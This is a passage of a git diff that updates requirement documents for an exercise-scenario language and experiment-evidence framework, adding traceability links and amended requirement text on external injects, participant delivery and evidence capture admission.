IMPLEMENTS → DOCUMENTATION `contracts/schemas/authoring-adapters/authoring-adapter-vector-v1.json` (Portable vector contract) +- IMPLEMENTS → DOCUMENTATION `contracts/schemas/authoring-adapters/authoring-adapter-comparison-v1.json` (Portable independent-axis comparison contract) +- DOCUMENTS → DOCUMENTATION `docs/explain/reference/authoring-adapter-conformance.md` (Consumer API and finite-evidence boundaries) +- TESTS → TEST `implementations/python/tests/test_authoring_adapters.py` (Published positive and negative vectors, evidence mutation, bounds and admission regressions) +- TESTS → TEST `implementations/python/tests/test_corpus_packaging.py` (Authoring-vector execution from an installed wheel) +- TESTS → TEST `implementations/python/tests/test_authoring_adapter_governance.py` (Scoped ownership, prerequisites and traceability enforcement) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Source-bound evidence replay after authoring conformance changes) +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Current formal replay with immutable historical captures) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Evidence release selection, historical isolation and source integrity) diff --git a/docs/requirements/ASR-519/requirement.md b/docs/requirements/ASR-519/requirement.md index a0157d17e..4f8534df9 100644 --- a/docs/requirements/ASR-519/requirement.md +++ b/docs/requirements/ASR-519/requirement.md @@ -21,6 +21,9 @@ Current state: identified gap. Honest portability needs executable checks agains ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `1237` (Exact observation-source conformance repair) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/_realization_validation.py` (Canonical exact-source honesty checks) + - DOCUMENTS → GITHUB_ISSUE `490` (Issue #490 contributes the first ASR-519 conformance artifact (planner realization-support gate)) - TESTS → TEST `implementations/python/tests/test_sem_218_runtime_realization.py` (SEM-218 runtime gate + provenance tests) - IMPLEMENTS → GITHUB_ISSUE `491` (SEM-218 realization enforcement 3/3 (issue #491)) diff --git a/docs/requirements/ASR-530/requirement.md b/docs/requirements/ASR-530/requirement.md index 52a8df798..0def1cca1 100644 --- a/docs/requirements/ASR-530/requirement.md +++ b/docs/requirements/ASR-530/requirement.md @@ -6,7 +6,7 @@ type: NON_FUNCTIONAL priority: MUST wave: 2 created_at: 2026-05-18T02:22:07.827366Z -updated_at: 2026-09-12T00:00:00Z +updated_at: 2026-09-16T00:00:00Z --- # ASR-530 — Claim Falsification And Evidence Gate @@ -21,6 +21,17 @@ Agent-assisted development can produce internally coherent code and documentatio ## Traceability +- IMPLEMENTS → PROOF `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1389-v53.json` (Current source-bound coverage replay after participant inject temporal-subject admission) +- IMPLEMENTS → PROOF `docs/research/formal-semantic-validation/bundles/retest-v53.json` (Current source-bound formal replay after participant inject temporal-subject admission) +- IMPLEMENTS → PROOF `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1358-v45.json` (Prior source-bound coverage replay with retained classifications) +- IMPLEMENTS → PROOF `docs/research/formal-semantic-validation/bundles/retest-v45.json` (Prior source-bound formal replay with retained bounded claims) +- IMPLEMENTS → PROOF `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1358-v46.json` (Current source-bound coverage replay with retained classifications) +- IMPLEMENTS → PROOF `docs/research/formal-semantic-validation/bundles/retest-v46.json` (Current source-bound formal replay with retained bounded claims) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_release_revisions.py` (Explicit supported historical and current retest revisions) +- IMPLEMENTS → PROOF `docs/research/formal-semantic-validation/bundles/retest-v25.json` (Fresh source-bound replay after participant relationships and merged augmentation scope, retaining outcomes and claim limits) +- IMPLEMENTS → PROOF `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-214-v25.json` (Fresh source-bound replay retaining coverage classifications and denominator) +- IMPLEMENTS → PROOF `docs/research/formal-semantic-validation/bundles/retest-v20.json` (Fresh source-bound release 21.0.0 with unchanged bounded replay outcomes) +- IMPLEMENTS → PROOF `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v19.json` (Fresh release 19.0.0 preserves the original coverage classifications and denominator) - IMPLEMENTS → GITHUB_ISSUE `1205` (Current-source replay after generic software refinements) - IMPLEMENTS → PROOF `docs/research/formal-semantic-validation/bundles/retest-v9.json` (Atomic release 10.0.0 retaining exact baseline deviations) - IMPLEMENTS → PROOF `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1205-v8.json` (Atomic release 8.0.0 retaining the original coverage protocol) diff --git a/docs/requirements/DSL-106/requirement.md b/docs/requirements/DSL-106/requirement.md index 2375cc58b..526ba60c4 100644 --- a/docs/requirements/DSL-106/requirement.md +++ b/docs/requirements/DSL-106/requirement.md @@ -29,6 +29,6 @@ Requirement inventory phase. Status audit deferred until the full canonical grap - TESTS → TEST `implementations/python/tests/test_sdl_validator.py` (Validator tests for aggregated errors and advisory emission) - TESTS → TEST `implementations/python/tests/test_sdl_parser.py` (Parser tests for author-visible advisories) - TESTS → TEST `implementations/python/tests/test_sdl_fuzz.py` (Fuzz tests for clean diagnostic behavior under invalid inputs) -- TESTS → TEST `implementations/python/tests/test_scenarios.py` (Scenario loading tests expecting advisory-clean curated examples) +- TESTS → TEST `implementations/python/tests/test_example_schema_conformance.py` (Scenario loading and published-schema tests expecting advisory-clean curated examples) - IMPLEMENTS → SPEC `specs/sdl/diagnostics.md` (specs/sdl/diagnostics.md §5: normative SDL error-vs-advisory classification criterion) - TESTS → TEST `implementations/python/tests/test_sdl_diagnostic_boundary.py` (AST drift guard for validator advisory/error channel separation) diff --git a/docs/requirements/DSL-111/requirement.md b/docs/requirements/DSL-111/requirement.md index ffaab9620..96ef35f8c 100644 --- a/docs/requirements/DSL-111/requirement.md +++ b/docs/requirements/DSL-111/requirement.md @@ -6,7 +6,7 @@ type: FUNCTIONAL priority: MUST wave: 1 created_at: 2026-04-03T05:55:58.251562Z -updated_at: 2026-04-05T01:25:56.822025Z +updated_at: 2026-09-22T05:55:00Z --- # DSL-111 — Entity And Exercise Timeline Modeling @@ -15,12 +15,45 @@ updated_at: 2026-04-05T01:25:56.822025Z The language shall model entities, injects, events, scripts, and stories for exercise organization and timeline structure. +Authorized external requests shall instantiate authored injects as independently +identified occurrences bound to an admitted plan/source, target/run, concrete +realization bindings, bounded input contract, applicable preconditions and +trusted order/time. Retry keys, occurrence identities and scheduled slots shall +prevent duplicate logical execution while preserving permitted fresh repeats. +Admission, dispatch, backend refusal, effect absence, application, partial +application and indeterminate outcomes shall retain distinct evidence. No +participant declaration shall be required unless participant-specific semantics +are selected. Portable invocation/outcome semantics shall remain distinct from +concrete backend realization, preserving legacy authoring and historical meaning. + ## Rationale Requirement inventory phase. Status audit deferred until the full canonical graph is complete. +Issue #1353 defines the connection between authored orchestration and external +world-effect execution. Plan installation and participant status delivery do +not establish that an inject occurred in the world. + +## Semantic amendment and evidence boundary + +[ADR-112](../../decisions/adrs/adr-112-external-inject-triggering-and-execution.md) +and [EI-01–EI-06](../../../specs/sdl/external-injects.md) define the amendment. +ACTIVE records the accepted contract; it does not certify executable adoption. +Existing model/compiler evidence covers legacy narrative authoring. The new +bounded tests exercise a design projection, with production adoption governed +by the [compatibility contract](../../explain/sdl/external-inject-compatibility.md). + ## Traceability +- IMPLEMENTS → SPEC `specs/sdl/external-injects.md` (External occurrence semantic amendment; not runtime conformance) +- IMPLEMENTS → GITHUB_ISSUE `1353` (Accepted external-trigger design and canonical requirement amendment) +- DOCUMENTS → DOCUMENTATION `docs/decisions/adrs/adr-112-external-inject-triggering-and-execution.md` (Accepted-on-merge execution decision) +- DOCUMENTS → DOCUMENTATION `docs/explain/sdl/external-inject-compatibility.md` (Producer, reader and evidence compatibility) +- DOCUMENTS → DOCUMENTATION `docs/explain/sdl/external-inject-cases.md` (Worked occurrences, outcomes and bounded claims) +- TESTS → TEST `implementations/python/tests/test_issue_1353_external_inject_design.py` (Bounded claim/lifecycle model and actual no-participant compiler witness; not backend execution) +- TESTS → TEST `implementations/python/tests/test_issue_1313_workflow_policy.py` (Merged delivery finalizer permission boundary) +- TESTS → TEST `implementations/python/tests/test_release_workflows.py` (Merged delivery finalizer job token scope and event classification) + - DOCUMENTS → DOCUMENTATION `docs/explain/sdl/sections.md` (SDL sections reference for entities, injects, events, scripts, and stories) - DOCUMENTS → DOCUMENTATION `docs/explain/sdl/validation.md` (Validation rules for entity references and orchestration timeline integrity) - DOCUMENTS → DOCUMENTATION `docs/explain/sdl/parser.md` (Parser normalization for timeline fields such as start-time and end-time) diff --git a/docs/requirements/DSL-124/requirement.md b/docs/requirements/DSL-124/requirement.md index ef87a7f3d..7514a4b51 100644 --- a/docs/requirements/DSL-124/requirement.md +++ b/docs/requirements/DSL-124/requirement.md @@ -34,4 +34,7 @@ Scenario authors may need to require that particular data be captured from parti - TESTS → TEST `implementations/python/tests/test_dsl_124_authored_evidence_requirements.py` (DSL-124 authored evidence requirement tests) - IMPLEMENTS → GITHUB_ISSUE `337` (Issue 337: Authored Data And Evidence Requirements) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/capture_admission.py` (Compiled authored evidence demand and backend admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/capture_dimensions.py` (Shared authored capture dimension projection) +- TESTS → TEST `implementations/python/tests/test_issue_1237_capture_dimensions.py` (Independent authored demand projection and admission parity) - TESTS → TEST `implementations/python/tests/test_issue_1112_capture_admission.py` (Authored evidence demand admission and non-demand boundaries) +- TESTS → TEST `implementations/python/tests/test_issue_1401_media_type_coherence.py` (Authored required media types reject unprovable encodings) diff --git a/docs/requirements/DSL-142/requirement.md b/docs/requirements/DSL-142/requirement.md index b6b16c990..66fd24c32 100644 --- a/docs/requirements/DSL-142/requirement.md +++ b/docs/requirements/DSL-142/requirement.md @@ -6,7 +6,7 @@ type: FUNCTIONAL priority: MUST wave: 3 created_at: 2026-07-15T05:45:06.862070Z -updated_at: 2026-07-26T01:48:06.467151Z +updated_at: 2026-09-22T05:55:00Z --- # DSL-142 — Participant-Directed Inject Binding And Delivery @@ -15,12 +15,71 @@ updated_at: 2026-07-26T01:48:06.467151Z The language shall model participant-directed inject bindings and delivery policies distinctly from environment-directed injects while preserving orchestration identity, participant addressee, disclosure and observation basis, temporal and ordering semantics, intervention meaning when applicable, and required delivery evidence. +Reusable direction/intervention declarations shall constrain a permitted +control-policy edge; each actual delivery application shall bind an exact +accepted control occurrence identity/revision, participant/episode, typed target, +acting source controller, authority scope, evaluated validity and evidence. +Delivery and control policies shall retain independent identities/revisions, +and delivery shall revalidate disclosure/time/flow conditions at its own cut. +Each occurrence/binding pair shall authorize at most one logical delivery with +idempotent retries. Repetition shall not imply repeated narrative/environment +effects, renewed authority or proof of delivery/observation. General injects, +disclosure-only bindings and authenticated principals shall not thereby become +participant controllers. Legacy bindings retain their original interpretation. + +When composed with an externally triggered world effect, participant delivery +shall join its exact occurrence and produced result, independently of world +admission and execution evidence. Delivery reservation and retries shall not +re-execute the effect or infer observation. An applied world effect shall remain +applied after delivery failure; required delivery shall withhold composed +success and dependent progress until independently evidenced. A schedule-free +external occurrence shall require an explicitly supported versioned delivery +join, without fabricating or relaxing legacy narrative anchors. + ## Rationale DSL-111 models orchestration injects and timelines but does not define participant addressees, governed disclosure, delivery receipts, or the boundary between environment effects and participant input. +Issue #1351 distinguishes a reusable permission from its repeated applications +and resolves controller, policy-revision, time and evidence joins without +promoting general orchestration into participant control. + +## Semantic amendment and evidence boundary + +[ADR-110](../../decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md) +and [MC-01–MC-09](../../../specs/formal/participant-semantics/reusable-mixed-control.md) +define the #1351 amendment. ACTIVE records the accepted contract, not proof +that every amended clause is implemented. Existing code/schema links evidence +the legacy fixed-coordinate form; the new bounded tests evidence a design +projection. Executable adoption and historical readers must meet the +[migration contract](../../migration/reusable-mixed-control.md). + +[ADR-112](../../decisions/adrs/adr-112-external-inject-triggering-and-execution.md) +and [EI-05](../../../specs/sdl/external-injects.md#ei-05--optional-participant-composition) +add #1353's world-effect/delivery composition boundary. They preserve ADR-110's +exact accepted-control join and independent policies. The +[external-inject compatibility contract](../../explain/sdl/external-inject-compatibility.md) +governs adoption; the amendment and its bounded witnesses do not certify live +backend execution, delivery or observation. + ## Traceability +- IMPLEMENTS → SPEC `specs/sdl/external-injects.md` (Exact world-occurrence/result delivery join; not runtime conformance) +- IMPLEMENTS → GITHUB_ISSUE `1353` (External world-effect and participant-delivery semantic boundary) +- DOCUMENTS → DOCUMENTATION `docs/decisions/adrs/adr-112-external-inject-triggering-and-execution.md` (Accepted-on-merge execution decision) +- DOCUMENTS → DOCUMENTATION `docs/explain/sdl/external-inject-compatibility.md` (Versioned unscheduled joins and preserved historical meaning) +- DOCUMENTS → DOCUMENTATION `docs/explain/sdl/external-inject-cases.md` (Independent effect, delivery and observation outcomes) +- TESTS → TEST `implementations/python/tests/test_issue_1353_external_inject_design.py` (Bounded delivery reservation/composition projection; not delivery realization) +- TESTS → TEST `implementations/python/tests/test_issue_1313_workflow_policy.py` (Merged delivery finalizer permission boundary) +- TESTS → TEST `implementations/python/tests/test_release_workflows.py` (Merged delivery finalizer job token scope and event classification) + +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/reusable-mixed-control.md` (Exact control-application/delivery semantic amendment; not runtime conformance) +- IMPLEMENTS → GITHUB_ISSUE `1351` (Semantic decision and canonical requirement amendment) +- DOCUMENTS → DOCUMENTATION `docs/decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md` (Accepted-on-merge policy/occurrence decision) +- DOCUMENTS → DOCUMENTATION `docs/migration/reusable-mixed-control.md` (Producer/reader and historical-meaning rules) +- DOCUMENTS → DOCUMENTATION `docs/research/reusable-mixed-control/cases.md` (Worked cycles and bounded evidence claims) +- TESTS → TEST `implementations/python/tests/test_issue_1351_mixed_control_design.py` (Bounded exact control/delivery-join projection; not delivery realization) + - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/composition/__init__.py` (DSL-142 composition reference rewriting) - DOCUMENTS → GITHUB_ISSUE `794` (Assess and design formal participant I/O control with information-flow and bisimulation semantics) - DOCUMENTS → DOCUMENTATION `docs/research/participant-io-control/requirement-disposition.md` (Issue #794 participant information-flow/control requirement disposition) diff --git a/docs/requirements/EXP-707/requirement.md b/docs/requirements/EXP-707/requirement.md index cf67afbae..650c00e6b 100644 --- a/docs/requirements/EXP-707/requirement.md +++ b/docs/requirements/EXP-707/requirement.md @@ -28,3 +28,4 @@ Requirement inventory expansion. Experiment data capture requirements are distin - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_capture.py` (Field- and output-contract-qualified capture requirements) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/inputs.py` (Digest-bound capture specification admission) - TESTS → TEST `implementations/python/tests/test_sce_002_trial_compiler.py` (Capture specification identity and backend admission tests) +- TESTS → TEST `implementations/python/tests/test_issue_1401_media_type_coherence.py` (Required media declarations reject unprovable encodings and accept content-provable JSON encodings) diff --git a/docs/requirements/EXP-708/requirement.md b/docs/requirements/EXP-708/requirement.md index ea0659b56..b5935fd22 100644 --- a/docs/requirements/EXP-708/requirement.md +++ b/docs/requirements/EXP-708/requirement.md @@ -21,6 +21,31 @@ Requirement inventory expansion. Raw captured evidence must be modeled explicitl ## Traceability +- TESTS → TEST `implementations/python/tests/test_exp_732_evidence_provenance.py` (Integrated apparatus provenance is retained in the context-bound content proof) + +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Retained production replay verifies the evidence implementation's source state) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Current capture binds the evidence contracts and processor source surfaces) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Current replay and immutable historical evidence remain separate) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/bundles/retest-v20.json` (Fresh bounded production replay of the integrated issue-1237 source state) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v19.json` (Fresh source-bound coverage replay retains existing claim limits) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/capture_dimensions.py` (Shared captured-evidence admission dimension semantics) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/observation_capture.py` (Evidence-eligible collection offers) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/observation_manifest.py` (Round-trip preservation of evidence collection offers) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/observation_capture.py` (Closed declarations of evidence collection capabilities) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/capture_admission.py` (Required-evidence admission before effects) +- TESTS → TEST `implementations/python/tests/test_issue_1237_capture_dimensions.py` (Capture dimension coverage and diagnostics protect evidence admission) +- TESTS → TEST `implementations/python/tests/test_issue_1237_capture_ingress.py` (Required-evidence admission across effectful entrypoints) +- TESTS → TEST `implementations/python/tests/test_issue_1237_governance.py` (Evidence ownership preserves prerequisites and traceability) +- IMPLEMENTS → GITHUB_ISSUE `1237` (Centralize capture admission and evidence proof authority) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/evidence_proof.py` (Immutable content proof retained across task, run, metric, study, and condition consumers) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/evidence_output_validation.py` (Atomic published-schema and semantic-validator evidence eligibility) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/_evidence_content_validation.py` (Bounded emitted-byte validation through the registered output owner) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_study_run_validation.py` (Study membership preserves each run's validated evidence proof) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_analysis.py` (Study allocation consumes proof-bound condition evidence) +- TESTS → TEST `implementations/python/tests/test_issue_1237_evidence_proof.py` (Immutable proof and shared task, run, and study negative content vectors) +- TESTS → TEST `implementations/python/tests/test_issue_1237_output_registry.py` (Missing schema and missing semantic owner fail closed) +- DOCUMENTS → DOCUMENTATION `docs/migration/required-capture-admission.md` (Proof consumption and evidence output extension points) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1237-capture-proof-authority-preflight.md` (Capture and evidence authority guardrails) - DOCUMENTS → ADR `docs/decisions/adrs/adr-064-experiment-evidence-and-measure-contract-boundary.md` (ADR-064 Experiment Evidence and Measure Contract Boundary) - DOCUMENTS → SPEC `specs/formal/experiment-core/README.md` (Experiment Core Formal Specification) - TESTS → TEST `implementations/python/tests/test_runtime_contracts.py` (Experiment evidence record conformance and rejection tests) @@ -29,3 +54,4 @@ Requirement inventory expansion. Raw captured evidence must be modeled explicitl - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_conditions.py` (Condition matching excludes unsupported evidence-id claims) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/evidence_satisfaction.py` (Content-backed emitted evidence satisfaction validation) - TESTS → TEST `implementations/python/tests/test_issue_1112_capture_admission.py` (Evidence record, artifact byte, digest, and field proof coverage) +- TESTS → TEST `implementations/python/tests/test_issue_1401_media_type_coherence.py` (Registered media declarations reach content-backed evidence proof) diff --git a/docs/requirements/EXP-715/requirement.md b/docs/requirements/EXP-715/requirement.md index 28f17fdd2..3b5b2d9ce 100644 --- a/docs/requirements/EXP-715/requirement.md +++ b/docs/requirements/EXP-715/requirement.md @@ -21,6 +21,15 @@ Requirement inventory expansion. Observation support must be declared explicitly ## Traceability +- TESTS → TEST `implementations/python/tests/test_issue_1237_governance.py` (Observation capability ownership preserves prerequisites and traceability) +- IMPLEMENTS → GITHUB_ISSUE `1237` (Centralize capture admission and evidence proof authority) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/capture_dimensions.py` (Governed capture projection, representation, comparison, and diagnostic definitions) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/evidence_output_validation.py` (Capture offers require a complete evidence output owner) +- TESTS → TEST `implementations/python/tests/test_issue_1237_capture_dimensions.py` (Closed-field parity, projection oracles, round trips, and every dimension's diagnostics) +- TESTS → TEST `implementations/python/tests/test_issue_1237_capture_ingress.py` (Shared planner, trial compiler, realization, and runtime admission vectors) +- TESTS → TEST `implementations/python/tests/test_issue_1237_output_registry.py` (Offer eligibility fails closed without schema or semantic validation) +- DOCUMENTS → DOCUMENTATION `docs/migration/required-capture-admission.md` (Governed capture dimension extension seam) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1237-capture-proof-authority-preflight.md` (Capture and evidence authority guardrails) - DOCUMENTS → ADR `docs/decisions/adrs/adr-064-experiment-evidence-and-measure-contract-boundary.md` (ADR-064 Experiment Evidence and Measure Contract Boundary) - DOCUMENTS → SPEC `specs/formal/experiment-core/README.md` (Experiment Core Formal Specification) - TESTS → TEST `implementations/python/tests/test_backend_manifest.py` (EXP-715 backend manifest observation capability tests) @@ -33,3 +42,4 @@ Requirement inventory expansion. Observation support must be declared explicitly - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/conformance/target_manifest_probe.py` (Fail-closed capture-offer manifest conformance validation) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/capture_admission.py` (Conjunctive required-capture capability admission) - TESTS → TEST `implementations/python/tests/test_issue_1112_capture_admission.py` (Capture-offer manifest and admission failure coverage) +- TESTS → TEST `implementations/python/tests/test_issue_1401_media_type_coherence.py` (Every eligible media declaration can be represented by a valid capture offer) diff --git a/docs/requirements/EXP-731/requirement.md b/docs/requirements/EXP-731/requirement.md index 9eb0a86e2..5394ba1e7 100644 --- a/docs/requirements/EXP-731/requirement.md +++ b/docs/requirements/EXP-731/requirement.md @@ -22,3 +22,33 @@ Different experiments may need to add or tighten evidence requirements without c - IMPLEMENTS → GITHUB_ISSUE `128` (Issue #128 - Observability evidence conformance implementation) - TESTS → TEST `implementations/python/tests/test_observability_evidence_conformance.py` (Tests verify capture-window and measurement-channel refinements preserve authored and evidence references) +- IMPLEMENTS → GITHUB_ISSUE `341` (Issue #341 - Evidence Requirement Refinement And Extension) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/__init__.py` (Public experiment-contract facade for evidence-requirement relations) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_evidence_requirement_exports.py` (Evidence-requirement facade exports extracted to keep the public contract surface within static-analysis limits) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_exports.py` (Governed public evidence-requirement relation exports) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_evidence_refinement.py` (Typed scoped relation, exact lineage resolution, and governed monotone refinement validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_evidence.py` (Evidence-contract public relation surface) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_apparatus.py` (Compatibility export for the extracted task relation carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_task.py` (Task-scoped evidence-requirement relation carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_spec.py` (Prospective run-plan evidence-requirement relation carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_study_contract.py` (Study-scoped evidence-requirement relation carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_run.py` (Archival run evidence-requirement relation carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_run_evidence_validation.py` (Authoritative task/run relation resolution against supplied scenarios and capture specifications) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_analysis.py` (Authoritative study relation resolution against supplied scenarios and capture specifications) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_study_run_validation.py` (Study run/task membership delegates to authoritative relation-aware run evidence validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/trial_analysis.py` (Admitted-trial study validation passes archival relation artifacts through the authoritative study seam) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/capture_admission.py` (Conjunctive authored and scoped capture-demand compilation) +- IMPLEMENTS → CONFIG `contracts/profiles/semantic-comparison/reference-v2.json` (Current task, run, and study relation-aware comparison projections) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/semantic_comparison.py` (Versioned owner-projection policy for relation-bearing carriers) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/semantic_comparison_adapters.py` (Current relation-bearing carrier projection admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/semantic_comparison_projections.py` (Task, run, and study relation-aware structural and semantic projections) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/compiler.py` (Authoritative pre-run relation validation and capture admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_realization.py` (Digest-bound relation revalidation during processor planning) +- IMPLEMENTS → SPEC `specs/formal/experiment-core/README.md` (Experiment-core evidence refinement and extension semantics) +- TESTS → TEST `implementations/python/tests/test_exp_731_evidence_requirement_refinement.py` (Carrier, lineage, monotonicity, semantic comparison, trial admission, and open-scope regression coverage) +- TESTS → TEST `implementations/python/tests/test_exp_731_archival_validation.py` (Authoritative archival run and study cross-artifact relation validation) +- TESTS → TEST `implementations/python/tests/test_exp_731_trial_realization.py` (Digest-bound relation revalidation during trial realization) +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Integrated formal evidence release selection, immutable baseline, and replay coverage) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Current and historical research evidence release integrity coverage) +- TESTS → TEST `implementations/python/tests/test_issue_1210_semantic_comparison.py` (Owner-projection revision compatibility coverage) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Integrated specification-coverage release selection and immutable bundle coverage) diff --git a/docs/requirements/EXP-732/requirement.md b/docs/requirements/EXP-732/requirement.md index daa8fb9a7..659b530ab 100644 --- a/docs/requirements/EXP-732/requirement.md +++ b/docs/requirements/EXP-732/requirement.md @@ -5,7 +5,7 @@ status: ACTIVE type: FUNCTIONAL priority: MUST created_at: 2026-04-05T01:59:50.853423Z -updated_at: 2026-06-28T18:07:50.939654Z +updated_at: 2026-09-15T00:00:00Z --- # EXP-732 — Realized Evidence Sources And Augmentation Provenance @@ -22,6 +22,23 @@ Honest experiment interpretation requires preserving not only what data were cap - DOCUMENTS → GITHUB_ISSUE `347` (Issue #347 — Multi-Organizational Authority And Governance Contracts) - IMPLEMENTS → GITHUB_ISSUE `128` (Issue #128 - Observability evidence conformance implementation) -- IMPLEMENTS → DOCUMENTATION `docs/research/experiment-core/issue-342-exp-732-evidence-source-augmentation-provenance-preflight-guardrails.md` (Evidence source augmentation provenance preflight guardrails) +- DOCUMENTS → DOCUMENTATION `docs/research/experiment-core/issue-342-exp-732-evidence-source-augmentation-provenance-preflight-guardrails.md` (Evidence source augmentation provenance preflight guardrails) +- DOCUMENTS → DOCUMENTATION `docs/research/experiment-core/issue-342-exp-732-evidence-provenance-2026-09-15.md` (Current provenance implementation guardrails) +- IMPLEMENTS → GITHUB_ISSUE `342` (Evidence source and augmentation provenance joins) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/evidence_requirements.py` (Authored evidence intent and explicit capture bindings) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_evidence.py` (Capture requirement, source and evidence traceability carriers) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_run.py` (Archival run, apparatus and exact disclosure evidence references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_disclosure.py` (Processor/backend augmentation provenance) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/evidence_satisfaction.py` (Content-backed requirement, record, source and apparatus validation) +- IMPLEMENTS → DOCUMENTATION `specs/formal/experiment-core/README.md` (Evidence provenance chain and verification limits) +- IMPLEMENTS → CONFIG `tools/policy/requirement_order.yaml` (Scoped evidence-provenance ownership) +- TESTS → TEST `implementations/python/tests/test_exp_732_evidence_provenance.py` (Provenance round trip and contradictory identity rejection) +- TESTS → TEST `implementations/python/tests/test_requirement_governance.py` (Evidence-provenance policy ownership enforcement) +- TESTS → TEST `implementations/python/tests/test_issue_1112_capture_admission.py` (Authored capture admission and content-backed satisfaction) +- TESTS → TEST `implementations/python/tests/test_dsl_124_authored_evidence_requirements.py` (Preserved authored evidence dimensions and references) +- TESTS → TEST `implementations/python/tests/test_sem_225_augmentation_semantics.py` (Augmentation classifications and exact evidence traceability) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Current and historical specification capture integrity) +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Current formal replay and immutable release integrity) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Versioned capture source and drift enforcement) - TESTS → TEST `implementations/python/tests/test_observability_evidence_conformance.py` (Tests verify augmentation provenance diagnostics for evidence and carriers) - TESTS → TEST `contracts/fixtures/experiment-core/experiment-run-v1/invalid/augmentation-without-affected-refs.json` (Semantic-invalid fixture for missing augmentation affected_refs) diff --git a/docs/requirements/GOV-913/requirement.md b/docs/requirements/GOV-913/requirement.md index ab7ad1e77..cd34e104a 100644 --- a/docs/requirements/GOV-913/requirement.md +++ b/docs/requirements/GOV-913/requirement.md @@ -6,7 +6,7 @@ type: NON_FUNCTIONAL priority: MUST wave: 3 created_at: 2026-04-03T07:58:36.322037Z -updated_at: 